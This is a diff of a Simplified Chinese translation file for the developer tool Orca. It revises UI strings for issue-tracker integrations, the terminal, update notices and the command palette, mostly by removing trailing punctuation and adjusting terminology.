+        "228b25028f": "直接从这里浏览并开始处理分配给您的 Linear 议题",
         "6d56559467": "连接您的 Linear 账户",
         "linearLoginUnreadableTitle": "重新连接 Linear",
-        "linearLoginUnreadableBody": "无法读取已保存的 Linear 登录信息。请在设置中重新连接。",
+        "linearLoginUnreadableBody": "无法读取已保存的 Linear 登录信息，请在设置中重新连接",
         "eee68073b2": "在 Jira 中打开",
         "9497f2787c": "启动工作区",
         "eba87f2edb": "未发现 Jira 议题",
         "63b2abd3aa": "Jira 议题",
         "e7115334aa": "隐藏 Jira",
         "83bce6be5c": "连接 Jira",
-        "b518ae6307": "直接从此处浏览、编辑、创建 Jira 议题并开始工作。",
+        "b518ae6307": "直接从此处浏览、编辑、创建 Jira 议题并开始工作",
         "a150c59da7": "连接您的 Jira 站点",
         "bcdc1330b2": "在 GitLab 中打开",
         "00b7ffb952": "类型/状态",
@@ -2408,9 +2649,9 @@
         "5eccb3c841": "标题/上下文",
         "d4c2830063": "刷新 GitLab 工作项",
         "c679af7ad9": "刷新我的待办事项",
-        "dfd72673e7": "无法保存项目选择。",
+        "dfd72673e7": "无法保存项目选择",
         "b797bdd7c3": "清除搜索",
-        "jiraTextMatchesNotice": "正在显示文本匹配结果。Jira 无法将此搜索作为 JQL 运行。",
+        "jiraTextMatchesNotice": "正在显示文本匹配结果，Jira 无法将此搜索作为 JQL 运行",
         "99c2755218": "搜索议题或输入 JQL，例如 project = ABC",
         "2ff9fd71fd": "刷新 Jira 议题",
         "0b65d3fb2c": "搜索 Linear 项目...",
@@ -2423,28 +2664,28 @@
         "b15ceb409d": "搜索 GitHub 议题...",
         "eee4df4c66": "搜索 GitHub PR...",
         "e592d99051": "所有 Jira 站点",
-        "d09b7631b7": "切换 Jira 站点失败。",
+        "d09b7631b7": "切换 Jira 站点失败",
         "8029e2bd4d": "选择一个 Linear 团队以在 Linear 中打开",
-        "609532fae7": "无法保存默认任务源。",
+        "609532fae7": "无法保存默认任务源",
         "4826fd1ad8": "关闭 · Esc",
         "1a06219d5c": "关闭任务",
-        "3f594861a5": "无法保存团队选择。",
-        "d0d570b306": "无法切换 Linear 工作区。",
+        "3f594861a5": "无法保存团队选择",
+        "d0d570b306": "无法切换 Linear 工作区",
         "cb98f0350c": "创建 {{value0}}",
-        "1e1b2ad8f2": "在提交此议题之前，请从项目工作区选择一个团队。",
-        "3ca9b424a3": "创建项目失败。",
+        "1e1b2ad8f2": "在提交此议题之前，请从项目工作区选择一个团队",
+        "3ca9b424a3": "创建项目失败",
         "3f9604efc7": "已打开议题 #{{value0}}",
-        "585dba2989": "无法打开此议题所附的工作区。",
-        "534a9c6017": "无法打开附加到此PR的工作区。",
-        "fe380f306c": "无法保存默认任务视图。",
-        "af2a8371de": "无法加载 Jira 议题类型。",
+        "585dba2989": "无法打开此议题所附的工作区",
+        "534a9c6017": "无法打开附加到此拉取请求的工作区",
+        "fe380f306c": "无法保存默认任务视图",
+        "af2a8371de": "无法加载 Jira 议题类型",
         "6775c05483": "无法更新 Linear 状态",
-        "745ae567d4": "“{{value0}}”不适用于 {{value1}}",
-        "669e419d65": "Linear 视图缺少工作区上下文。",
-        "cba2a2b7fb": "Linear 项目缺少工作区上下文。",
-        "f4374519ae": "您的首选议题源（upstream）已不再为 {{value0}} 配置。将使用 origin。",
-        "e9139db03f": "无法隐藏 {{value0}}。",
-        "b73717af92": "下一页",
+        "745ae567d4": "\"{{value0}}\"不适用于 {{value1}}",
+        "669e419d65": "Linear 视图缺少工作区上下文",
+        "cba2a2b7fb": "Linear 项目缺少工作区上下文",
+        "f4374519ae": "您的首选议题源(upstream)已不再为 {{value0}} 配置，将使用 origin",
+        "e9139db03f": "无法隐藏 {{value0}}",
+        "b73717af92": "下一步",
         "0c8df28045": "前往下一页",
         "ae859c816b": "第{{value0}}页",
         "cd171f3391": "...",
@@ -2456,17 +2697,17 @@
         "a3318684bc": "无法启用自动合并",
         "a5bf86defe": "自动合并已禁用",
         "fed317634c": "启用自动合并",
-        "88f478cdef": "合并PR失败",
+        "88f478cdef": "合并 PR 失败",
         "a161925adc": "拉取请求已合并",
-        "0506a78337": "这将更新 GitHub 上的PR。",
-        "995dd6af9b": "开放PR检查",
-        "8a22eb3f7b": "没有匹配的评审人。",
+        "0506a78337": "这将更新 GitHub 上的 PR",
+        "995dd6af9b": "开放 PR 检查",
+        "8a22eb3f7b": "没有匹配的评审人",
         "67755a83a1": "其他人",
         "3ace2e6bcf": "建议",
         "0eacf48491": "加载中…",
         "0b9b04f4b5": "输入或选择用户",
         "62c7bd789f": "最多请求 15 名评审人",
-        "5d4fd69a6a": "最近活跃于此PR",
+        "5d4fd69a6a": "最近活跃于此拉取请求",
         "ed1daeb49a": "移除评审人失败",
         "837bb901ec": "已移除评审人",
         "f9191d1714": "已移除评审人",
@@ -2474,12 +2715,12 @@
         "8f06dbb9e5": "已请求评审",
         "969e26577c": "最多可请求 15 名评审人",
         "d00571d9b1": "输入评审人",
-        "edf4bc4135": "没有可分配的用户。",
-        "53e002d895": "议题没有仓库 slug。",
+        "edf4bc4135": "没有可分配的用户",
+        "53e002d895": "议题没有仓库 slug",
         "7f94eb6395": "分配议题",
         "bb63046423": "分配给 {{value0}}",
-        "ca63694b4c": "无法更新负责人。",
-        "b36f4bf9de": "没有标签。",
+        "ca63694b4c": "无法更新负责人",
+        "b36f4bf9de": "没有标签",
         "5ebff3a0aa": "没有任何",
         "d09bf34db7": "已关闭",
         "1c893195ac": "更新状态失败",
@@ -2505,18 +2746,18 @@
         "c2268a9982": "全部",
         "37a82eaaf8": "合并",
         "e15ba2d2eb": "创建议题",
-        "e178c0a953": "在创建议题之前选择一个 Jira 项目。",
-        "0f7b0d964a": "在 {{value0}} 中创建一个新议题。",
+        "e178c0a953": "在创建议题之前选择一个 Jira 项目",
+        "0f7b0d964a": "在 {{value0}} 中创建一个新议题",
         "d7f16d0e32": "选择团队",
         "5301ca0f20": "创建项目",
         "5af6f0ae5b": "选择团队",
-        "2bdefbcac3": "尝试不同的搜索查询。",
-        "25ff84769a": "没有议题与此 Linear 上下文匹配。",
+        "2bdefbcac3": "尝试不同的搜索查询",
+        "25ff84769a": "没有议题与此 Linear 上下文匹配",
         "60f68a2ef4": "Linear 议题",
-        "94d900518d": "没有与所选预设匹配的议题。",
-        "f51e254d35": "请尝试其他搜索词或 JQL。",
+        "94d900518d": "没有与所选预设匹配的议题",
+        "f51e254d35": "请尝试其他搜索词或 JQL",
         "e224d76876": "MR",
-        "03da966159": "选择一个项目，以便我们可以向 GitLab 进行身份验证。",
+        "03da966159": "选择一个项目，以便我们可以向 GitLab 进行身份验证",
         "d591aac6ae": "没有待办事项，你全部处理完啦！",
         "66ae7330f6": "更多操作",
         "e104fa3d3d": "从议题开始工作区",
@@ -2531,9 +2772,9 @@
         "bc46d8204e": "选择一个项目在 GitHub 中打开",
         "d1132848f8": "选择一个 GitHub 项目在 GitHub 中打开",
         "2af3ab5c58": "选择一个团队在 Linear 中打开",
-        "aec5feeb69": "无法创建 Jira 议题。",
-        "7437e340b4": "无法创建议题。",
-        "9e03c17847": "打开 PR 详情以查看当前评审人。",
+        "aec5feeb69": "无法创建 Jira 议题",
+        "7437e340b4": "无法创建议题",
+        "9e03c17847": "打开 PR 详情以查看当前评审人",
         "246bd64aed": "在 Linear 中打开 {{value0}}",
         "ff90d0abc7": "从 {{value0}} 开始工作区",
         "8d1e17a3ef": "在 GitHub 中打开 {{value0}}",
@@ -2541,39 +2782,39 @@
         "40eaf2c27c": "详情",
         "closeAsCompleted": "关闭为已完成",
         "closeAsNotPlanned": "关闭为不计划处理",
-        "closeAsDuplicate": "作为重复议题关闭",
-        "duplicateIssueMissing": "请输入此仓库中的议题编号。",
-        "duplicateIssueNotInteger": "请使用整数议题编号。",
-        "duplicateIssueNotPositive": "请使用正数议题编号。",
-        "duplicateIssueSameIssue": "请选择另一个议题。",
+        "closeAsDuplicate": "关闭为重复项",
+        "duplicateIssueMissing": "请输入此仓库中的议题编号",
+        "duplicateIssueNotInteger": "请使用整数议题编号",
+        "duplicateIssueNotPositive": "请使用正数议题编号",
+        "duplicateIssueSameIssue": "请选择另一个议题",
         "repository": "仓库",
         "backToCloseReasons": "返回",
         "searchIssues": "搜索议题",
         "useIssueNumber": "使用议题 #{{value0}}",
-        "noMatchingIssuesLoaded": "没有加载到匹配的议题。",
+        "noMatchingIssuesLoaded": "没有加载到匹配的议题",
         "editReviewersWithCurrent": "编辑评审人：{{value0}}",
-        "linearEmptyAttributeFilter": "没有议题符合所选筛选条件。请清除筛选条件或尝试其他条件。",
-        "linearEmptyUnfilteredScope": "此工作区范围内没有议题。请尝试搜索或调整团队。",
+        "linearEmptyAttributeFilter": "没有匹配所选筛选条件的问题，请清除筛选条件或尝试其他条件",
+        "linearEmptyUnfilteredScope": "此工作区范围内没有问题，请尝试搜索或调整团队",
         "linearFetchMore": "加载更多",
-        "linearHasWorktreeLoadFailed": "无法加载关联到 Orca 工作区的 Linear 议题。",
-        "linearHasWorktreePartialLoadFailed": "部分关联到 Orca 工作区的 Linear 议题无法加载。请刷新后重试。",
+        "linearHasWorktreeLoadFailed": "无法加载关联到 Orca 工作区的 Linear 议题",
+        "linearHasWorktreePartialLoadFailed": "部分关联到 Orca 工作区的 Linear 议题无法加载，请刷新后重试",
         "linearHasWorktreeSearchPlaceholder": "筛选关联到 Orca 工作区的议题...",
         "linearModeHasWorktree": "有工作区",
         "linearModeHasWorktreeTooltip": "已关联 Orca 工作区的 Linear 工单",
-        "linearEmptyHasWorktree": "还没有关联到 Orca 工作区的 Linear 工单。从 Linear 议题开始工作后会显示在这里。",
+        "linearEmptyHasWorktree": "还没有关联到 Orca 工作区的 Linear 工单，从 Linear 议题开始工作后会显示在这里",
         "linearOpenAttachedWorkspace": "打开关联到 {{value0}} 的工作区",
         "linearWorktreesColumn": "工作区",
         "jiraSortAscending": "升序",
         "jiraSortDescending": "降序",
         "jiraSortBy": "排序方式",
         "jiraToggleSortDirection": "按{{value0}}排序",
-        "75a38d7df8": "GitHub 数据暂时不可用，其 API 可能已宕机、被限流或无法访问。请稍后重试。",
+        "75a38d7df8": "GitHub 数据暂时不可用，其 API 可能已宕机、被限流或无法访问，请稍后重试",
         "noGithubSourceDetected": "未检测到 GitHub 来源：",
-        "noGithubSourceDetectedHint": "它可能没有 GitHub 远程仓库，或来源无法解析。",
-        "jiraLinkSourceUnavailable": "无法关联此 Jira 议题。请重新连接 Jira 或选择匹配的站点，然后重试。",
-        "loadPageUnreachable": "第 {{value0}} 页超出了 GitHub 搜索可返回的范围。",
-        "loadPageFailed": "无法从 GitHub 加载第 {{value0}} 页。",
-        "loadPageNoMoreResults": "第 {{value0}} 页没有更多结果。",
+        "noGithubSourceDetectedHint": "它可能没有 GitHub 远程仓库，或来源无法解析",
+        "jiraLinkSourceUnavailable": "无法关联此 Jira 议题，请重新连接 Jira 或选择匹配的站点，然后重试",
+        "loadPageUnreachable": "第 {{value0}} 页超出了 GitHub 搜索可返回的范围",
+        "loadPageFailed": "无法从 GitHub 加载第 {{value0}} 页",
+        "loadPageNoMoreResults": "第 {{value0}} 页没有更多结果",
         "jiraColumnsPicker": "列",
         "jiraColumnParent": "父级",
         "jiraColumnSprint": "冲刺",
@@ -2583,15 +2824,15 @@
         "jiraBoardEmptyColumn": "没有议题",
         "backToPullRequests": "拉取请求",
         "backToGitHubList": "GitHub 列表",
-        "noGitHubRepositoryContext": "此议题没有可用的 GitHub 仓库上下文。",
+        "noGitHubRepositoryContext": "此议题没有可用的 GitHub 仓库上下文",
         "filingInTarget": "将在 {{target}} 中创建",
         "filingInThisRepository": "将在此仓库中创建",
-        "shortcutToSubmit": "按 {{shortcut}} 提交。",
+        "shortcutToSubmit": "按 {{shortcut}} 提交",
         "projectsFailedToLoad_other": "{{count}} 个项目中有 {{failed}} 个加载失败",
         "draftPullRequestNumber": "草稿拉取请求 #{{number}}",
         "pullRequestNumber": "拉取请求 #{{number}}",
         "issueNumber": "议题 #{{number}}",
-        "loadGitHubWorkFailed": "加载 GitHub 工作项失败。",
+        "loadGitHubWorkFailed": "加载 GitHub 工作项失败",
         "gitlabViewIssues": "议题",
         "gitlabViewMrs": "MR",
         "gitlabInvolvementEveryone": "所有人",
@@ -2608,30 +2849,30 @@
         "linearViewContext": "视图：{{name}}",
         "changedFileCount_other": "{{count}} 个文件",
         "resumeRestoration": {
-          "linearProjectNotFound": "未找到已保存的 Linear 项目。",
-          "linearProjectRestoreFailed": "恢复已保存的 Linear 项目失败。",
-          "linearViewNotFound": "未找到已保存的 Linear 视图。",
-          "linearViewRestoreFailed": "恢复已保存的 Linear 视图失败。"
+          "linearProjectNotFound": "未找到已保存的 Linear 项目",
+          "linearProjectRestoreFailed": "恢复已保存的 Linear 项目失败",
+          "linearViewNotFound": "未找到已保存的 Linear 视图",
+          "linearViewRestoreFailed": "恢复已保存的 Linear 视图失败"
         }
       },
       "Terminal": {
         "73768427cf": "关闭",
         "f82e9f02df": "取消",
-        "7958465754": "有正在运行的进程的终端。还是关窗吧？",
+        "7958465754": "本地终端中还有正在运行的进程，是否仍要关闭窗口？",
         "2fa9c69ff3": "关闭窗口？",
         "cd51e28d8b": "保存",
         "0037b21794": "不保存",
         "21295c6b8c": "未保存的更改",
         "5c1d2a32bb": "正在加载编辑器...",
-        "f0600556b3": "无法创建无标题 Markdown 文件。",
+        "f0600556b3": "无法创建无标题 Markdown 文件",
         "37da0d736f": "新浏览器选项卡",
-        "a2a279b32a": "保存超时或失败。关闭前修复错误。",
-        "46e08bc5c8": "该文件有未保存的更改。",
-        "61ed600d29": "“{{value0}}”有未保存的更改。您想在关闭前保存吗？",
-        "5b2c1a9e44": "未检测到智能体 CLI，请安装一个，或在设置中选择默认智能体。",
-        "b7c1f0a934": "无法访问远程主机，因此 Orca 无法判断工作是否仍在运行。还是关窗吧？",
-        "quitSnapshotSaveFailed": "退出已取消：无法保存会话快照 ({{value0}})。",
-        "reloadSnapshotSaveFailed": "重新加载已取消：无法保存会话快照（{{value0}}）。"
+        "a2a279b32a": "保存超时或失败，关闭前修复错误",
+        "46e08bc5c8": "该文件有未保存的更改",
+        "61ed600d29": "\"{{value0}}\"有未保存的更改，您想在关闭前保存吗？",
+        "5b2c1a9e44": "未检测到代理 CLI，请安装一个，或在设置中选择默认代理",
+        "b7c1f0a934": "无法连接远程主机，因此 Orca 无法判断工作是否仍在那里运行，仍要关闭窗口吗？",
+        "quitSnapshotSaveFailed": "退出已取消：无法保存会话快照（{{value0}}）",
+        "reloadSnapshotSaveFailed": "重新加载已取消：无法保存会话快照（{{value0}}）"
       },
       "TerminalSearch": {
         "db234b7519": "关闭",
@@ -2640,29 +2881,29 @@
         "42e466b9f1": "正则表达式",
         "90c61387d9": "区分大小写",
         "e07012f26e": "搜索...",
-        "10e039b591": "No results"
+        "10e039b591": "没有结果"
       },
       "UpdateCard": {
         "68b235d264": "重启即可更新",
-        "6714206e5a": "Orca v{{value0}} 已下载。准备好后请重新启动。",
-        "93794ea932": "Orca v{{value0}} 正在下载。",
+        "6714206e5a": "Orca v{{value0}} 已下载，准备好后请重新启动",
+        "93794ea932": "Orca v{{value0}} 正在下载",
         "8acbdd3961": "最小化到状态栏",
         "17412483da": "准备安装",
         "47126bcf57": "手动下载",
         "3553a8672f": "最后一个错误",
-        "90559b14e3": "这将在重启后启用进程级 Electron 网络开关。适用于拒绝 HTTP/2 更新下载的企业 VPN 或代理。",
+        "90559b14e3": "这将在重启后启用进程级 Electron 网络开关，适用于拒绝 HTTP/2 更新下载的企业 VPN 或代理",
         "558842597d": "下载更新",
         "f58b5c57a6": "新的：",
         "ec8fe71cfc": "更新",
         "44324ef542": "发行说明",
-        "fdd4a364fa": "会话不会被中断。",
-        "05ad78a6d1": "Orca v{{value0}} 已准备就绪。",
+        "fdd4a364fa": "会话不会被中断",
+        "05ad78a6d1": "Orca v{{value0}} 已准备就绪",
         "318d3b4bc7": "关闭更新",
         "9abc59f814": "可用更新",
         "aad383aecc": "阅读完整的发行说明",
-        "b1d867f4fb": "更新期间您的终端会话不会中断。",
+        "b1d867f4fb": "更新期间您的终端会话不会中断",
         "09a55c39b5": "正在安装...",
-        "ea2a41adbe": "您使用的是最新版本。",
+        "ea2a41adbe": "您使用的是最新版本",
         "ba5ffc949c": "正在检查更新...",
         "2c2d3e03ca": "重试",
         "4cf109845a": "更新错误",
@@ -2674,26 +2915,26 @@
         "a726967bd3": "关闭",
         "e944c2de43": "更新验证被阻止",
         "5b309b19f3": "更新未安装",
-        "092f09fc14": "安装程序的发布者与 Orca 不匹配，因此我们停止了更新。请勿安装此下载；请从官方版本获取正确的版本。",
+        "092f09fc14": "安装程序的发布者与 Orca 不匹配，因此我们停止了更新，请勿安装此下载，请从官方版本获取正确的版本",
         "c9ff9b9ec2": "查看官方版本",
-        "a05992a26b": "签名检查无法运行——通常是因为防病毒软件阻止了它。请重试下载，或从我们的官方版本获取安装程序。",
+        "a05992a26b": "签名检查无法运行——通常是因为防病毒软件阻止了它，请重试下载，或从我们的官方版本获取安装程序",
         "5194358929": "隐藏详情",
         "8bc9e17d8f": "显示详情",
         "8cf17b10af": "本地构建错误",
         "a4650b0dc4": "无法使用本地构建",
-        "b1e390250d": "无法完成本地构建切换。",
-        "d29740d175": "无法使用所选的构建。",
+        "b1e390250d": "无法完成本地构建切换",
+        "d29740d175": "无法使用所选的构建",
         "37d45c9ec1": "选择其他构建",
-        "7f1a4c9e02": "您的系统包管理器安装了 Orca，因此请从那里更新它 — Orca 本身无法安装此版本。",
+        "7f1a4c9e02": "Orca 由系统包管理器安装，请通过该包管理器更新——Orca 无法自行安装此版本",
         "compatibilityModeFailed": "无法启用兼容模式。{{message}}",
         "moreSinceLastUpdate": "自上次更新以来另有 +{{count}} 个版本",
         "downloadingPercent": "下载中... {{percent}}%",
-        "restartToInstallFailed": "无法重启以安装更新。",
-        "http1RetryAvailable": "Orca 可以通过 HTTP/1.1 兼容模式重试。",
+        "restartToInstallFailed": "无法重启以安装更新",
+        "http1RetryAvailable": "Orca 可以通过 HTTP/1.1 兼容模式重试",
         "restarting": "正在重启...",
         "updateCheckFailed": "检查更新失败",
-        "updateIncomplete": "无法完成更新。",
-        "checkFailed": "无法检查更新。",
+        "updateIncomplete": "无法完成更新",
+        "checkFailed": "无法检查更新",
         "aria": {
           "statusIdle": "更新状态",
           "statusChecking": "正在检查更新",
@@ -2715,25 +2956,25 @@
         "52404f8096": "当前选项卡",
         "739bda980c": "主要",
         "556e7232ca": "当前",
-        "684e8d7bc2": "收集您最近的工作树和打开的选项卡。",
+        "684e8d7bc2": "收集您最近的工作树和打开的选项卡",
         "ff908adfe9": "加载跳跃目标",
         "4ee378034d": "跳转到...",
-        "f7fda8d562": "在 Orca 中创建工作树或打开选项卡即可开始。",
+        "f7fda8d562": "在 Orca 中创建工作树或打开选项卡即可开始",
         "1628fd7dfa": "没有活动的工作树、设置、操作或打开的选项卡",
-        "b781ae05e3": "键入以搜索工作树、设置、选项卡和操作。",
+        "b781ae05e3": "键入以搜索工作树、设置、选项卡和操作",
         "f60f8730be": "没有其他工作树可供切换",
-        "c4afa68159": "尝试工作树、项目、设置、操作、标签页标题、智能体提示、URL、PR 或端口。",
+        "c4afa68159": "尝试工作树、项目、设置、操作、标签页标题、智能体提示、URL、PR 或端口",
         "dbd9d87eec": "没有结果符合您的搜索",
         "2c38630a01": "工作区不再存在",
         "7726ce9970": "手机模拟器选项卡不再存在",
         "d7d496a451": "浏览器页面不再存在",
         "50a1d11d5b": "打开标签页",
         "088d66d980": "操作与设置",
-        "34c8fbb46e": "SSH远程",
+        "34c8fbb46e": "SSH 远程",
         "63c2be1914": "SSH 已断开连接",
-        "95be6587d3": "创建工作树“{{value0}}”",
-        "worktreesHeader": "工作区",
-        "recentWorktreesHeader": "最近的工作区",
+        "95be6587d3": "创建工作树\"{{value0}}\"",
+        "worktreesHeader": "工作空间",
+        "recentWorktreesHeader": "最近的工作空间",
         "settingsBadge": "设置",
         "actionBadge": "操作",
         "paletteHostBadge": "主机：{{value0}}",
@@ -2741,20 +2982,20 @@
         "projectsGroupsHeader": "项目和分组",
         "projectBadge": "项目",
         "repoGroupBadge": "仓库组",
-        "pluginCommandFailed": "无法运行插件命令。",
+        "pluginCommandFailed": "无法运行插件命令",
         "27f10cca63": "搜索聊天、终端、工作区、任务、设置和操作...",
         "2770f02910": "搜索聊天、终端、工作区、任务、设置和操作",
         "recentChatsTerminalsHeader": "最近的聊天和终端",
-        "lastActiveTime": "最后活跃时间 {{value0}} 前",
-        "resultsFound_other": "找到 {{count}} 个结果。",
-        "itemsAvailable_other": "{{count}} 个项目可用。",
-        "createActionAvailable": "可执行创建工作树操作。"
+        "lastActiveTime": "{{value0}}前活跃",
+        "resultsFound_other": "找到 {{count}} 个结果",
+        "itemsAvailable_other": "{{count}} 个项目可用",
+        "createActionAvailable": "可执行创建工作树操作"
       },
       "github": {
         "pr": {
           "merge": {
             "state": {
-              "a80132573b": "GitHub 仍在计算此PR合并状态",
+              "a80132573b": "GitHub 仍在计算此拉取请求合并状态",
               "f958920f3a": "检查中",
               "9bd983ce8f": "GitHub 表示此 PR 可以合并，但检查仍在运行",
               "4e2507176b": "检查待处理",
@@ -2769,24 +3010,24 @@
               "09896aad26": "此 PR 的合并状态不可用",
               "bd4f27b50e": "合并",
               "35ec24bc43": "该基础分支使用 GitHub 合并队列",
-              "b289646bcd": "GitHub 报告请求对此PR进行更改",
+              "b289646bcd": "GitHub 报告请求对此拉取请求进行更改",
               "c606463dc2": "要求更改",
               "a20db875ed": "GitHub 需要评审批准才能合并此拉取请求",
               "1f8eb81c0e": "需要批准",
-              "f03028e055": "这个PR仍然是一个草稿",
+              "f03028e055": "这个 PR 仍然是一个草稿",
               "ec8e2cebaa": "草稿",
-              "820fd21663": "此PR已关闭",
+              "820fd21663": "此拉取请求已关闭",
               "4f976d3450": "已关闭",
-              "62eb8d39da": "此PR已合并",
+              "62eb8d39da": "此拉取请求已合并",
               "83ecdbb4a6": "已合并",
-              "331ebe1170": "将此PR添加到 GitHub 合并队列",
+              "331ebe1170": "将此拉取请求添加到 GitHub 合并队列",
               "b169f943e1": "准备好后合并",
-              "62703b1dc4": "为此PR启用了 GitHub 自动合并",
+              "62703b1dc4": "为此拉取请求启用了 GitHub 自动合并",
               "48d75ae118": "禁用自动合并",
               "a5b66afb58": "检查已通过",
-              "fbd4f57f0a": "检查已通过。合并资格将在合并前再次验证。",
+              "fbd4f57f0a": "检查已通过，合并资格将在合并前再次验证",
               "4ab19a62ef": "启用自动合并",
-              "8f6cb3772f": "满足要求后自动合并此PR",
+              "8f6cb3772f": "满足要求后自动合并此拉取请求",
               "def355ff38": "可以合并",
               "e42c5bae67": "GitHub 显示此 PR 可以合并且检查已通过",
               "cbf0113af6": "GitHub 显示此 PR 可以合并",
@@ -2807,20 +3048,20 @@
             "8a7f6bf5dc": "复制失败",
             "224c9d0ae8": "已复制到剪贴板",
             "891a7d4616": "未为此 shell 设置",
-            "fd17b3019f": "取消设置（PowerShell，持久）",
+            "fd17b3019f": "取消设置(PowerShell，持久)",
             "ae43542893": "找到设置的地方",
             "df636f5886": "检查是否已设置 (PowerShell)"
           },
           "ProjectCell": {
-            "4b5b871da8": "此仓库中没有标签。",
+            "4b5b871da8": "此仓库中没有标签",
             "2219e945ef": "加载中…",
-            "54cac64427": "Row 没有仓库 slug。",
+            "54cac64427": "该行没有仓库 slug",
             "8ae56a88a6": "标签",
             "f7cdb78efb": "负责人",
             "ebde486e3c": "清除",
             "191905e20e": "当前和即将推出的",
             "e17bb96881": "已完成",
-            "943b3dadc9": "该仓库没有议题类型。",
+            "943b3dadc9": "该仓库没有议题类型",
             "c7b059cf07": "议题类型",
             "c5f949e489": "议题",
             "8d669084f6": "受限",
@@ -2838,12 +3079,12 @@
             "244c9e7d06": "全部"
           },
           "ProjectItemSlugDialog": {
-            "e55a5c4e68": "项目行预览。",
+            "e55a5c4e68": "项目行预览",
             "4450efea9c": "GitHub 项目"
           },
           "ProjectPicker": {
-            "96739284c3": "粘贴下面的项目 URL 以查找缺失的项目。",
-            "9b36829267": "未找到任何视图。",
+            "96739284c3": "粘贴下面的项目 URL 以查找缺失的项目",
+            "9b36829267": "未找到任何视图",
             "72a05c04a6": "正在加载视图...",
             "9bf55fa1e8": "选择一个视图",
             "a51b3337ab": "← 返回",
@@ -2853,7 +3094,7 @@
             "5113ecc298": "通过 URL 或所有者/号码添加",
             "7b6d39627e": "加载中…",
             "b787682111": "浏览全部",
-            "ba0ab9a117": "浏览全部（加载中...）",
+            "ba0ab9a117": "浏览全部(加载中...)",
             "b3044b7a25": "最近的",
             "707843206c": "已固定",
             "f492e1b539": "搜索项目",
@@ -2868,30 +3109,30 @@
             "989f81dc2a": "列",
             "f949f5b2b7": "配置列",
             "eddfc7a794": "按 {{value0}} 排序",
-            "4f57d2e0b1": "没有项目与此视图的筛选条件匹配。"
+            "4f57d2e0b1": "没有项目与此视图的筛选条件匹配"
           },
           "ProjectViewWrapper": {
             "463f1205c0": "加载项目视图",
             "23b87ba9f7": "在 GitHub 中打开",
             "4d2a77a119": "提交功能请求",
-            "55de4fb57a": "{{value0}}。 {{value1}} 在 {{value2}} 提交功能请求。",
-            "2edf5e7e77": "{{value0}} — Orca 尚不支持 {{value1}} 项目视图。在 {{value2}} 提交功能请求。",
+            "55de4fb57a": "{{value0}}，{{value1}} 在 {{value2}} 提交功能请求",
+            "2edf5e7e77": "{{value0}} — Orca 尚不支持 {{value1}} 项目视图，在 {{value2}} 提交功能请求",
             "7245c3d7ac": "清除搜索",
             "c5bc7ec007": "视图筛选条件：{{value0}}",
             "840c268665": "添加仓库",
             "dffa899f36": "取消",
-            "7037c8f5f1": "仓库不在 Orca 中",
-            "512fc171d6": "选择一个项目来开始。",
+            "7037c8f5f1": "存储库不在 Orca 中",
+            "512fc171d6": "选择一个项目来开始",
             "71fb69926c": "刷新",
             "a8fa0d2bf5": "刷新中",
             "fd15491034": "在 GitHub 中打开视图",
-            "22df63c393": "您的token无法获取子议题数据。",
+            "22df63c393": "您的 Token 无法获取子议题数据",
             "067119985c": "GitHub 搜索，例如 assignee:@me is:open",
-            "1850fceac8": "{{value0}}/{{value1}} 未添加到 Orca。添加它以开始工作，或在 GitHub 中打开。",
+            "1850fceac8": "{{value0}}/{{value1}} 未添加到 Orca，添加它以开始工作，或在 GitHub 中打开",
             "1aa7c952b9": "项目视图",
-            "f352abf7c3": "仓库列表正在更新。",
-            "1ce21b8cff": "此项目不在选中的仓库中。",
-            "030de75bc5": "此项目匹配多个选中的仓库。"
+            "f352abf7c3": "仓库列表正在更新",
+            "1ce21b8cff": "此项目不在选中的仓库中",
+            "030de75bc5": "此项目匹配多个选中的仓库"
           },
           "slug": {
             "dialog": {
@@ -2907,8 +3148,8 @@
                 "c3e829b4d9": "保存",
                 "463d030ae4": "删除",
                 "8564f58542": "编辑",
-                "5f104bf855": "还没有评论。",
-                "commentTooLarge": "评论过长，无法安全提交。"
+                "5f104bf855": "还没有评论",
+                "commentTooLarge": "评论过长，无法安全提交"
               },
               "LabelsEditor": {
                 "34dd57d6c8": "加载中…",
@@ -2928,24 +3169,24 @@
             }
           },
           "ProjectViewStates": {
-            "3b9c1d5e47": "此视图暂无任何项目。",
-            "7e4a2f80c6": "最近添加的项目可能需要一段时间才会显示。"
+            "3b9c1d5e47": "此视图暂无任何项目",
+            "7e4a2f80c6": "最近添加的项目可能需要一段时间才会显示"
           },
           "ProjectRoadmap": {
-            "be52f7b6db": "此路线图视图没有可放置项目的日期或迭代字段，因此 Orca 会列出它们。",
+            "be52f7b6db": "此路线图视图没有可用于放置条目的日期或迭代字段，因此 Orca 将以列表显示这些条目",
             "6405e036e0": "月",
             "f2b1cabef7": "季度",
             "b6afc6fe45": "年",
-            "343888b143": "由 {{value0}} 放置",
-            "6a088a5da1": "{{value0}} 无日期",
+            "343888b143": "按 {{value0}} 放置",
+            "6a088a5da1": "{{value0}} 项未设置日期",
             "86eebd6020": "今天",
             "0bb1c1bc07": "时间轴缩放",
-            "e304235879": "项",
-            "e077c79083": "没有日期"
+            "e304235879": "条目",
+            "e077c79083": "无日期"
           },
           "ProjectRoadmapBar": {
             "cd68ccc17a": "{{value0}} — {{value1}}",
-            "7d1220d979": "受限项"
+            "7d1220d979": "受限条目"
           },
           "ProjectPickerPanels": {
             "04ec212ccb": "路线图",
@@ -2956,12 +3197,12 @@
           "015b4e607d": "取消",
           "e3bd59143c": "插入",
           "f24783f470": "https://...",
-          "ec6310b731": "使用 http:// 或 https:// 图片 URL。",
+          "ec6310b731": "使用 http:// 或 https:// 图片 URL",
           "b7e4a1c902": "粘贴、拖放或点击添加文件",
           "8f1c2d4e6a": "没有可预览的内容",
           "c91f0a2b14": "编写",
           "d82b1e3f05": "预览",
-          "imageUrlTooLarge": "图片 URL 过长。"
+          "imageUrlTooLarge": "图片 URL 过长"
         },
         "IssueSourceSelector": {
           "787c970baf": "议题来源",
@@ -2983,11 +3224,11 @@
         },
         "PRFilterPickers": {
           "472c12ae03": "清除",
-          "pressEnterToUseValue": "按 Enter 使用输入的值。",
+          "pressEnterToUseValue": "按 Enter 使用输入的值",
           "useTypedValue": "使用 <value/>",
           "clearSelected": "清除（{{count}}）",
           "loading": "加载中…",
-          "searchTextTooLarge": "搜索文本过长。",
+          "searchTextTooLarge": "搜索文本过长",
           "noMatches": "无匹配项"
         },
         "PRFilterSections": {
@@ -3023,9 +3264,9 @@
             "limit": {
               "display": {
                 "5509443543": "正在加载 GitHub API 预算...",
-                "34973d4695": "GitHub API 预算不可用。",
+                "34973d4695": "GitHub API 预算不可用",
